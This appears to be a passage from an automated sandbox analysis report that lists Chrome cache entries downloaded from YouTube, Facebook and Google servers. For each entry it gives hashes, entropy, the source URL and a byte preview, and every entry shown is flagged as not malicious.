SHA-256:	EACF784075A24C722FD7706D983E5015414E17757DE40CD4AFCF3AEC1D5AF6E4
SHA-512:	5E4B130F0F786ADC33926526F99193EA7C57E958E5D500393B25F00A5E4C2D097639481CE7CD4ED50C60F19B17F7CE4A88F3F2CB21481BB61FCA38395301E8DA
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/youtubesans/v23/Qw38ZQNGEDjaO2m6tqIqX5E-AVS5_rSejo46_PCTRspJ0OosolrBEJL3HO_T7fE.woff2
Preview:	wOF2......}.......=(..}...........................'...\...?HVAR.n.`?STAT..'..,/\.....x.1..J.0..(.6.$.... ..&..d..[<+q..w.i...?..9f....w.s_R0......1.s...s...1.O...f.n......Xe.R.IJ.Y$e$QT....~d....Z...s.FKY].niUV.o..[...g.0.oX.....^..AQt.a..oI.yb....].s..?.{..-dZ.TyW..{..3.H.H._H".a.+....~=G....=l....~S...[s.o.U....bc.r.....{.{.A....3..". X.".......WV....E,..........b4Fc...o.g/\...(....\|.\|2.Q....Z...Vw.u.......#.....i..1......[...R....,!..B.%k4......p(...W~....@].x.............k.$.LF=<n.?.Q....~1.M.......+..AB..D..b$...I..q...3.m.Y...v..0.=.....f....I!E~.%...S.].AY...........[..a.~.....&.!]..Y..,...\k.........L..q.n.3.Tf.}...PQ..B.z9.'.......p._7K..Dt.j.8.....}.._..+.....V3..At.=?D.^...$...@..q..q.GA..Z....P%.&[.+.4.#..:.K.-...dG.: L.^....Y.E.e.....L..G.jg.gf.Jv....^.....bs..).?#).G`........U._..h....AZ..6)Ga..p%.B_.... .r.:.......eR.....eJ...J:9...\|.N'.cS.0.......-..^..#.3.4L....(....g.OH1j ..!..O.~..@..j._W..APsr\|l..Y+.;n..Z...M..w=.]).Y...$G'r.[..P

Chrome Cache Entry: 955

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (540), with no line terminators
Category:	downloaded
Size (bytes):	540
Entropy (8bit):	5.0953958403229755
Encrypted:	false
SSDEEP:	12:TMHd2yqNZNNUrS7n4nuL0EGuSl6FGYdB2GSuh43JPYa0:2d2PNdUrS7nfcuSQ8YdqXya0
MD5:	AABAC4B67E56DCAAA0C06DCEA2C8C7EC
SHA1:	4AEC6ABB0BCB8B6828F0CFE62637D3B270FDEA6C
SHA-256:	96D0C3380F81C5C429B2FAB04F6A9961F83287D1922A1B44A1DBD4A4004D62B6
SHA-512:	C9709D6C0A2EE21148E5D8826A3093E3A353B7D2BA0C135924EA8079982A8475F71B5926AFE6F21FF67C2538574D2F6EC0C20C97ED836F6A67799EA05D20AC6D
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/opensearch?locale=en_US
Preview:	<?xml version="1.0" encoding="UTF-8"?><OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"><ShortName>YouTube</ShortName><Description>Search for videos on YouTube</Description><Tags>youtube video</Tags><Image height="16" width="16" type="image/vnd.microsoft.icon">https://www.youtube.com/favicon.ico</Image><Url type="text/html" template="https://www.youtube.com/results?search_query={searchTerms}&page={startPage?}&utm_source=opensearch"></Url><Query role="example" searchTerms="cat"></Query></OpenSearchDescription>

Chrome Cache Entry: 956

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (630)
Category:	downloaded
Size (bytes):	1113
Entropy (8bit):	5.2086674482821
Encrypted:	false
SSDEEP:	24:RCzZDLM7yC3yJHPyCs2gWuxQWH3bVL+s1L2QuGj4RChUsn:czFMNK5NvuxfXBxi6xhUsn
MD5:	5A416C750EF1D79327625D7DE6DA5BF9
SHA1:	46D21AF1BA53C3A16A39B0DD9559F64328F2841D
SHA-256:	21AF2EAFBD649727B169E5D52C55BC71DFEA53BEE94C08D3F6C1ED0543433330
SHA-512:	742F981E80497C9943699A9DEAB5AACE003EA412C6171515E9554DC3D603E1C06C62207CC856E1ADE63492EEC62091D0421F99370A7B148B5EFA717CC8945FB8
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/ym/r/RxPOZF3XHzp.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("camelize",[],(function(a,b,c,d,e,f){var g=/-(.)/g;function a(a){return a.replace(g,function(a,b){return b.toUpperCase()})}f["default"]=a}),66);.__d("hyphenate",[],(function(a,b,c,d,e,f){var g=/([A-Z])/g;function a(a){return a.replace(g,"-$1").toLowerCase()}f["default"]=a}),66);.__d("getStyleProperty",["camelize","hyphenate"],(function(a,b,c,d,e,f,g){function h(a){return a==null?"":String(a)}function a(a,b){var d;if(window.getComputedStyle){d=window.getComputedStyle(a,null);if(d)return h(d.getPropertyValue(c("hyphenate")(b)))}if(document.defaultView&&document.defaultView.getComputedStyle){d=document.defaultView.getComputedStyle(a,null);if(d)return h(d.getPropertyValue(c("hyphenate")(b)));if(b==="display")return"none"}return a.currentStyle?b==="float"?h(a.currentStyle.cssFloat\|\|a.currentStyle.styleFloat):h(a.currentStyle[c("camelize")(b)]):h(a.style&&a.style[c("camelize")(b)])}g["default"]=a}),98);.__d("WebPixelRatio",["SiteData"],(function(a,b,c,d,e,f,g){function

Chrome Cache Entry: 957

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1011), with no line terminators
Category:	downloaded
Size (bytes):	1011
Entropy (8bit):	4.958228722086236
Encrypted:	false
SSDEEP:	24:WybE3QpQgbgbGNKOkhOXO6FOXOWOvOOpx+FUDx+W:WybEgpQgbgbGNNlOOpx4UDx+W
MD5:	5306F13DFCF04955ED3E79FF5A92581E
SHA1:	4A8927D91617923F9C9F6BCC1976BF43665CB553
SHA-256:	6305C2A6825AF37F17057FD4DCB3A70790CC90D0D8F51128430883829385F7CC
SHA-512:	E91ECD1F7E14FF13035DD6E76DFA4FA58AF69D98E007E2A0D52BFF80D669D33BEB5FAFEFE06254CBC6DD6713B4C7F79C824F641CB704142E031C68ECCB3EFED3
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/cssbin/www-onepick.css
Preview:	.picker-frame{width:100%;height:100%;border:0;overflow:hidden}.picker.modal-dialog-bg{position:absolute;top:0;left:0;background-color:#fff}.picker.modal-dialog{position:absolute;top:0;left:0;background-color:#fff;border:1px solid #acacac;width:auto;padding:0;z-index:1001;overflow:auto;-moz-box-shadow:rgba(0,0,0,.2) 0 4px 16px;-webkit-box-shadow:rgba(0,0,0,.2) 0 4px 16px;-webkit-box-shadow:rgba(0,0,0,.2) 0 4px 16px;-moz-box-shadow:rgba(0,0,0,.2) 0 4px 16px;box-shadow:rgba(0,0,0,.2) 0 4px 16px;-webkit-transition:top .5s ease-in-out;-moz-transition:top .5s ease-in-out;-o-transition:top .5s ease-in-out;-webkit-transition:top .5s ease-in-out;-o-transition:top .5s ease-in-out;transition:top .5s ease-in-out}.picker-min{position:absolute;z-index:1002}.picker.modal-dialog-content{font-size:0;padding:0}.picker.modal-dialog-title{height:0;margin:0}.picker.modal-dialog-title-text,.picker.modal-dialog-buttons{display:none}.picker.modal-dialog-bg,.picker.modal-dialog.picker-dialog{z-index:1999999999

Chrome Cache Entry: 958

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (826)
Category:	downloaded
Size (bytes):	8035
Entropy (8bit):	5.300204980570846
Encrypted:	false
SSDEEP:	192:yPaBoQ4kTLC9Knp8GiiFC2hD6tLGkrPYhzK:yqLHC9Knp8GbC2hOtLGCPyK
MD5:	D16ECF77068D5E88B61422A1516459D8
SHA1:	C0B52A386A611E349B1AF59773768CCBE8D7F095
SHA-256:	CEA9A8CCE7EBBD78FC18DE0183D1F55CC0E3F2B3984E6DCEEE422D04AFD63D2B
SHA-512:	199276BDA86C44AC94026EE65A4FA90772E2313E7F946AF7F370AB2D19443B9A1B333520499134A3D72D37A0EAC17CBCD0B5B6E2F739DDD9495B9A599FA54295
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.nOJ7WSKZu4M.es5.O/ck=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/exm=A7fCU,AvtSve,Ctsu,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZ1fbc,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,NTMZac,O6y8ed,PHUIyb,PrPYRd,RMhBfe,Rkm0ef,RqjULd,Rusgnf,SCuOPb,STuCOe,SpsfSb,UPKV3d,UUJqVe,Uas9Hd,VwDzFe,W2YXuc,YHI3We,YTxL4,ZUKRxc,ZZ4WUe,ZwDk9d,_b,_tp,aW3pY,b3kMqb,bPkrc,bSspM,bTi8wc,bm51tf,byfTOb,eVCnO,fFzhe,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,kSPLL,lsjVmc,ltDFwf,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,pxq3x,q0xTif,qPfo0c,qmdT9,sOXFj,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,w9hDv,ws9Tlc,xBaz7b,xQtZb,yRXbo,ywOR5c,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlESPRnh-JZZP_yCycaEkysrUryWfw/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=wg1P6b"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.iKa=_.w("wg1P6b",[_.Xy,_.en]);._.k("wg1P6b");.var $Za=function(a,b){b=b\|\|_.La;for(var c=0,d=a.length,e;c<d;){var f=c+(d-c>>>1);var g=b(0,a[f]);0<g?c=f+1:(d=f,e=!g)}return e?c:-c-1},a_a=function(a,b){for(;b=b.previousSibling;)if(b==a)return-1;return 1},b_a=function(a,b){var c=a.parentNode;if(c==b)return-1;for(;b.parentNode!=c;)b=b.parentNode;return a_a(b,a)},c_a=function(a,b){if(a==b)return 0;if(a.compareDocumentPosition)return a.compareDocumentPosition(b)&2?1:-1;if(_.Uh&&!(9<=Number(_.ii))){if(9==a.nodeType)return-1;if(9==b.nodeType)return 1}if("sourceIndex"in.a\|\|a.parentNode&&"sourceIndex"in a.parentNode){var c=1==a.nodeType,d=1==b.nodeType;if(c&&d)return a.sourceIndex-b.sourceIndex;var e=a.parentNode,f=b.parentNode;return e==f?a_a(a,b):!c&&_.Wi(e,b)?-1*b_a(a,b):!d&&_.Wi(f,a)?b_a(b,a):(c?a.sourceIndex:e.sourceIndex)-(d?b.sourceIndex:f.sourceIndex)}d=_.Ii(a);c=d.createRange

Chrome Cache Entry: 959

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 192 x 192, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2106
Entropy (8bit):	7.554456957317547
Encrypted:	false
SSDEEP:	48:EWP8JUaPVKWwCtcHB3sXXRBJ3v8qkZ/aWr/3KZerMLvSOxJ3Df8sfqV1:lkJVKWw03XXZ4Meo931fq
MD5:	6452ED75C53E1A8E90A664DF18959A90
SHA1:	AC01FC2F40F0E4808E22A9C569F3775F0F15A5E2
SHA-256:	C7BAC3E7016DFC7EB5787579BAC6B975B433FC1A9C279DAFC35649D4782F2061
SHA-512:	4B23F7FB31826943CBA6496BD74DC620C8EC3B8F0525497E825F1F1F87486335D4374F85417458C3C3E018C2215B9B419D7DE77CB67AAE9EA619038432E1EB10
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/y0/r/eFZD1KABzRA.png
Preview:	.PNG........IHDR.............e..5...YPLTEGpL.e..e..e..p..e..f..f..h..f..f..`..`.....g..f..f..g..g..f..f..f..g..f..h..e..f..d..g..e..e..c..f..f..e..f..g..g..e..f..f........i..h..e..f..f.....e........e..g..f..f..f..f..f..f..g........f..e..e.......F........................f....F.....d........'y.....p....E.....U..7..t.................6..t...........U.................................p......uy...LtRNS.0`..... ......p..._....@..@..oPP...O.^..__....0.o.o.oO..p.P.P_n. ..@0..P........DIDATx..YS.G..G.]..N...t.6&.$..8v\|.>{.."....m.3...../...X..../.....z..Z...^-."\|GT(T.K..Z..n..z.3..BT..Z....\.)..Y.....)..\XZs%..e../...........:....Z.R...,X...B....VCL......".~)P...@..P..8......YG..<...=..BLs..CX........0..J...I....Z..,....0g...i...B..}6.Eh.$.g.D1.k......... ..WYD....O..b~.~......U..s4..?...d0........x.g7.zF...........9..G.A...~...=#.w0.1Z......K..BV..>....x.p...<LS...ft..(\|...2XDE.Q...yc..$Mu.@.L...R=.X,.H....!.X).j../.-q2.....09.........\...&.bYk........j.o......../.u}..(5!.

Chrome Cache Entry: 960

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	242
Entropy (8bit):	4.49449947569643
Encrypted:	false
SSDEEP:	6:JX4RonJh2E3MDtLJSq4Rovz2E3MDHZXTuUeRo2SI1NBC:JMoJh2fnSFovz2frVESI1W
MD5:	E5532C82394BA10AB89F0194E2E75C1E
SHA1:	C8D89E115D716599ADCDCE4A5BC2899A942110FA
SHA-256:	7DD4F0F173B086D77C5F466377397639A9613BF567C617323A1E44DC51E6AC80
SHA-512:	B138572797A80BB280CC0B5354EEB1C803109D0595C0EF7303D3C35FE15E2072FC51BBAE880EEC2E1D0A040DC8BA062F065F01A6F67FC4DA367D38EC8A64E8F1
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/sw.js
Preview:	. self.addEventListener('install', event => {. event.waitUntil(self.skipWaiting());. });. self.addEventListener('activate', event => {. event.waitUntil(. self.clients.claim().then(() => self.registration.unregister()));. });.

Chrome Cache Entry: 961

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1116)
Category:	downloaded
Size (bytes):	73311
Entropy (8bit):	5.495988715515248
Encrypted:	false
SSDEEP:	768:4GIrciEkWXctV34ucboi8XdpGHpBMbSrOLR0QZWtPWDG4nFjI9rkiDyVO9HI4CkD:h45nb3nxQIiENg5Bi+C02byd
MD5:	4016D4DCF13BF1FF8D1C65CE878F48D9
SHA1:	E56DC87C0BB0623311C62FA74A1FB208AD11C0B9
SHA-256:	A56F92536C8E8345BE3E475CF29AD2ED8AA3FD52F7C61B1F999C5BA158D04671
SHA-512:	7151FF1E4464421D1A8D96528FC3502C86B8BECC697DF61225DF23EA9F3E10DDC33E53953EC7DBAEC600741DA17B881176ECD6861CF523A3E524E66275C2911F
Malicious:	false
Reputation:	unknown
URL:	https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&family=YouTube+Sans:wght@300..900&display=swap
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: normal;. f

Chrome Cache Entry: 962

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (7279)
Category:	downloaded
Size (bytes):	35625
Entropy (8bit):	5.495789601338093
Encrypted:	false
SSDEEP:	768:6ZJQWlR5lBVL+1lUvDlAlQlzgTBKMF8+AbWQg:o5lBVL+1lTlQlc9W+AbWn
MD5:	1697116261B347E7D1F4A11C544E93BF
SHA1:	317739DA918B7D05D1E4543D15EA4F1C34055449
SHA-256:	FA44550A20D2BE72495C94BD23DB697BB965EA109925E0C64BF7AFC1B288FC90
SHA-512:	4C07F18A2374D22DC8889BB013785A4365722EF2729C5A1E86AE8E75FA6697C050E49DB42D3A99629FEB6CF128806ACE778DC0C6B9D70E60CB2E72FB99AED056
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yE/r/_BJqgRg0BU5.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("BanzaiWWW",["cr:1642797"],(function(a,b,c,d,e,f,g){g["default"]=b("cr:1642797")}),98);.__d("BanzaiUtils",["BanzaiConsts","CurrentUser","FBLogger","WebSession","performanceAbsoluteNow"],(function(a,b,c,d,e,f){"use strict";var g,h,i={canSend:function(a){return a[2]>=(g\|\|(g=b("performanceAbsoluteNow")))()-(h\|\|(h=b("BanzaiConsts"))).EXPIRY},filterPost:function(a,c,d,e){if(e.overlimit)return!0;if(!e.sendMinimumOnePost&&a[4]+e.currentSize>(h\|\|(h=b("BanzaiConsts"))).BATCH_SIZE_LIMIT)return!0;var f=a.__meta;if(f.status!=null&&f.status>=(h\|\|(h=b("BanzaiConsts"))).POST_SENT\|\|!i.canSend(a))return!1;if(f.status!=null&&f.status>=(h\|\|(h=b("BanzaiConsts"))).POST_INFLIGHT)return!0;var g=f.compress!=null?f.compress:!0,j=(f.webSessionId!=null?f.webSessionId:"null")+(f.userID!=null?f.userID:"null")+(f.appID!=null?f.appID:"null")+(g?"compress":""),k=e.wadMap.get(j);k\|\|(k={app_id:f.appID,needs_compression:g,posts:[],user:f.userID,webSessionId:f.webSessionId},e.wadMap.set(j,k),c.push

Chrome Cache Entry: 963

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 283 x 315, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	6739
Entropy (8bit):	7.892824603052444
Encrypted:	false
SSDEEP:	96:ojMnL5qfFF9YIdIv8DQ+f7XzWfbuhh1F+4lW0G6rM+mZKFgE9u:eML5qW8kIfOuhoFnxZOd9u
MD5:	84545F4E3DC299F20C0BE6710CB09858
SHA1:	F508422FC6BFD6A4866C1752F032BEBCDC9D32B4
SHA-256:	633002F58522BB2B155769BD8C96D8ED33271F888A2402D46D8E24935CDD03A2
SHA-512:	C5FC977A38BB6BB84B7FC0167FC060342CB846D5DABB01BCD905A8698960E12EE004543348E063DE5190FEC8DEE217180831BC398A805E7316454957D6080BC3
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yB/r/Y0L6f5sxdIV.png
Preview:	.PNG........IHDR.......;......_.%....PLTEGpL~.........%/...9@G................................................................................................................)3......DKR........................$-617..............................dgkdls...egkccdegk............X_f>EL......egkw\|.........................6=D.......how!(.MT[...............07>......mt\|(3>...S[b...IPW.........1Q..'2.........,39...[cj......ddf:X.:X.:X.:X.'I.:X....6S.7W.:X.:X.cccegk:X.egk:X.;X.3D.9W.?g..%/.......-<Bc....aip...(>]4R.......)3>.(3",7...bjy...ipy......S[e;Y......%/:MT\\dlW_hCJQ...t{.egk..................0;F...18?...nA.WWWemt...}.....FMT...IQX...............{...&0...nv~8?F:CJ17...h.......y~.QY`?FM.{/......GNU.....K.............]es!(..........4?J.......PPP.r.........?IU.q!....?.^......_gn5My..J2.P....tRNS..f&........... .....F....&;..,#H.2...N.7.l.r...a..[e....7h..S^.....)8..q....?...zA..*0..H.[..v({.H.NV..P...k.C.....-..3y...ob +..l....^E.....sIDATx^..?O.I...!7BABi./@Ag.

Chrome Cache Entry: 964

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	4286
Entropy (8bit):	4.933290584110762
Encrypted:	false
SSDEEP:	96:5+8ItBBBuxc+6QQQQQiRRRRRRRRRRJJO9P111118B:1cjRRRRRRRRRRi90
MD5:	8CDDCA427DAE9B925E73432F8733E05A
SHA1:	1999A6F624A25CFD938EEF6492D34FDC4F55DEDC
SHA-256:	89676A3FB8639D6531C525E5800FF4CC44D06D27FF5607922D27E390EB5B6E62
SHA-512:	20FBEE2886995C253E762F2BB814AD16890B0989DEAB4D92394363EF0060B96A634D87C380C7BA1B787A8AB312BE968FED9329A729B4E0D64235A09E397DB740
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/yb/r/hLRJ1GG_y0J.ico
Preview:	...... .... .........(... ...@..... ......................................................................e.G.c.......................d...c...e.G.............................................................................j...f...f...f...e.......................f...f...f...g...f...j...........................................................m$..j...i...h...h...h...h.......................h...h...h...h...h...i...j...m$..............................................j...j...j...j...j...j...k...j.......................j...k...j...k...k...k...k...l...u.......................................q.-.n...m...l...m...l...l...m...l.......................l...m...l...m...m...m...m...m...n...q.-.............................u...p...o...o...o...o...o...o...o...o.......................o...p...o...p...p...o...p...o...o...p...u........................$..r...r...q...q...q...q...q...q...r...q.......................r...q...r...q...q...r...q...r...r...q...r....$..................v...t...t...t...t...t...t...t...t

Chrome Cache Entry: 965

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 144 x 144, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	729
Entropy (8bit):	7.234317148111566
Encrypted:	false
SSDEEP:	12:6v/753iqqqqqqqqqqqqqq8apRTOe/RlzL064pdYTCrQQXHth6oHS0iwPuOb254iu:u3iqqqqqqqqqqqqqq8sdOe/RBL0NpdAM
MD5:	F6E5A9215D13C4AEF31D125532228410
SHA1:	CF2AA58CCDDC2B414CAD4A28394EF66CD2AE9FFF
SHA-256:	8639DB0DBAA462E7BC11D7884C3A6CB84275DC988811CD2BFAF5CF2E65BC0FE0
SHA-512:	2468FD00812806E44A2EB1AEF7F408D643DCFBEE655802E69B62DCE21F84AE3EC6E50F6612F332CB35FF53EC4792104C27DFD6DA36327FBEADE9D7FABC7C3412
Malicious:	false
Reputation:	unknown
URL:	https://www.gstatic.com/youtube/img/branding/favicon/favicon_144x144.png
Preview:	.PNG........IHDR...................cPLTE.......................................................PP.......... ..........@@....``.00.......pp........tRNS.@0 p.....P..`....Y.....IDATx...Ub.0.EQC.(.2..W9%......Y...eg.1..c.1H.C..$z.. ?......M......R.. +.}.}t_0.m#.....T.....gje.9.7u..%.7...y..Q.D.Z..^vW..x......(.G..!R^..)..j4P...B.(H...igA(j.d...?...,.....DM8ZZ........:8...uCG.'...P....\....=..\<.\......=c.......H..`...+YD_.H...6vHa ur.....&.vJ.@.R.p..Ni.@.)..i......#.vJ.@.)...tJ......+.......-.S#...u.....}-.\.N..{.....m._.A.."n)..l...a...CmzV.ma....-D..K.....3...x...VH.i...V.2..u2..).J..cU4.....VX......\BC.`...V..:.(:.Y.(..h.O.\..dcC.Q..:..~Lm..&..{v]z0....9=....-/.O.g.1..c.1D..b..;...F....IEND.B`.

Chrome Cache Entry: 966

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1013)
Category:	downloaded
Size (bytes):	2213
Entropy (8bit):	5.270098708031071
Encrypted:	false
SSDEEP:	48:TeFtnnLSWN/F85LZ5ru85cAUHH5KI5SSyJSFcFT:TeFtnnmS6/VcBZndGFT
MD5:	E9ADFA1C4CB149196E692EA716E42EC3
SHA1:	F943CD4E959BD2B340B83898D17244174FF1C51F
SHA-256:	E909103B6AE5F6F1D3772C3E23FE06D6ACF8E4E83AB2FC61AAA4A0015E993309
SHA-512:	6EA6C77983630FFF8CFDAE3579E139D6AFA649AE8626B43C557FD0931EB4755A9C2AFEDB056D5330BCEA097AFA0E944C6BDA4084EA695F5F2FD165B878F9647D
Malicious:	false
Reputation:	unknown
URL:	"https://static.xx.fbcdn.net/rsrc.php/v3/yJ/l/0,cross/jLYph3aQmdp.css?_nc_x=Ij3Wp8lg5Kz"
Preview:	.fixed_elem,.fixed_always{position:fixed!important}.tinyHeight .fixed_elem{position:static!important}.chrome .fixed_elem,.chrome .fixed_always{transform:translateZ(0)}.tinyHeight .chrome .fixed_elem{transform:none}..lfloat{float:left}.rfloat{float:right}..uiContextualLayerPositioner{height:0;position:absolute;z-index:202}.uiContextualLayer{position:absolute}div.uiContextualLayerPositionerFixed{position:fixed}.uiContextualLayerParent{position:relative}#globalContainer.bizWebLoginContainer{overflow-x:hidden}.._55ym{animation:rotateSpinner 1.2s steps(20, end) infinite;display:inline-block;vertical-align:middle}._55yn._55yo{background-image:url(/rsrc.php/v3/yD/r/MKQzjVd1bVq.png);height:12px;width:12px}._55yn._55yp{background-image:url(/rsrc.php/v3/yA/r/lHmjAzNKBcg.png);height:12px;width:12px}._55yq{background-image:url(/rsrc.php/v3/yH/r/xgVgalBG80z.png);height:24px;width:24px}._5tqs{animation-play-state:paused;display:none}._5tqs.async_saving,.async_saving ._5tqs{animation-play-state:runni

Chrome Cache Entry: 967

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2756)
Category:	downloaded
Size (bytes):	6429
Entropy (8bit):	5.530103718196277
Encrypted:	false
SSDEEP:	96:iUiyS1R+n7sxiiajPpBp0Hrn2oz0EdjudK+ZYxI8p323E3hLwekyuqV:O1Uno4pUrLz5jGKCoPRLweTV
MD5:	B7028C55126C33D1A24428B28E71CA1B
SHA1:	D21482A9157478641A225F097A3A86D41517076A
SHA-256:	19551570548835C8A01F55F01C8C7FB81CA2AF7863D9B833DD889854B336021E
SHA-512:	4821AB5CCFBEF1E59C76D59A5575884B5893DA105C7DE565365C7357FBF6AFD585F7913CF341D7C222D800746A7EFD17C253C561FB4E171A3B3BE125761E176F
Malicious:	false
Reputation:	unknown
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yh/r/ysfm_2i9xtW.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("UserActivity",["cr:1634616"],(function(a,b,c,d,e,f){e.exports=b("cr:1634616")}),null);.__d("CometEventListener",["unrecoverableViolation"],(function(a,b,c,d,e,f,g){"use strict";function h(a,b,d,e){if(a.addEventListener){a.addEventListener(b,d,e);return{remove:function(){a.removeEventListener(b,d,e)}}}else throw c("unrecoverableViolation")('Attempted to listen to eventType "'+b+'" on a target that does not have addEventListener.',"comet_ui")}a={bubbleWithPassiveFlag:function(a,b,c,d){return h(a,b,c,{capture:!1,passive:d})},capture:function(a,b,c){return h(a,b,c,!0)},captureWithPassiveFlag:function(a,b,c,d){return h(a,b,c,{capture:!0,passive:d})},listen:function(a,b,c){return h(a,b,c,!1)},registerDefault:function(a,b){throw c("unrecoverableViolation")("EventListener.registerDefault is not implemented.","comet_ui")},suppress:function(a){a.preventDefault(),a.stopPropagation()}};g["default"]=a}),98);.__d("DataAttributeUtils",["cr:6669"],(function(a,b,c,d,e,f){var g=[

Chrome Cache Entry: 968

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	1.6001495726289154
Encrypted:	false
SSDEEP:	12:XFeeeQL5555555555dWr555555555555b5555r555555b555Lr555553r555Lh5k:X2uD
MD5:	F2A495D85735B9A0AC65DEB19C129985
SHA1:	F2E22853E5DA3E1017D5E1E319EEEFE4F622E8C8
SHA-256:	8BB1D0FA43A17436D59DD546F6F74C76DC44735DEF7522C22D8031166DB8911D
SHA-512:	6CA6A89DE3FA98CA1EFCF0B19B8A80420E023F38ED00F4496DC0F821CEA23D24FB0992CEE58C6D089F093FDEFCA42B60BB3A0A0B16C97B9862D75B269AE8463B
Malicious:	false
Reputation:	unknown
URL:	https://www.youtube.com/s/desktop/80338919/img/favicon.ico
Preview:	............ .h.......(....... ..... ........................................................................................................................................................................@...@...p.......................@...@...................`...................................................`.......0...........................................................0...P...........................................................`................................PP...................................................................... .............................................................. ......................................................@@.................................P...........................................................`...0...........................................................0.......`...................................................`...................@...@...........................@...@......................................................

Chrome Cache Entry: 969

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (11054)
Category:	downloaded
Size (bytes):	55731
Entropy (8bit):	5.503381254911426
Encrypted:	false
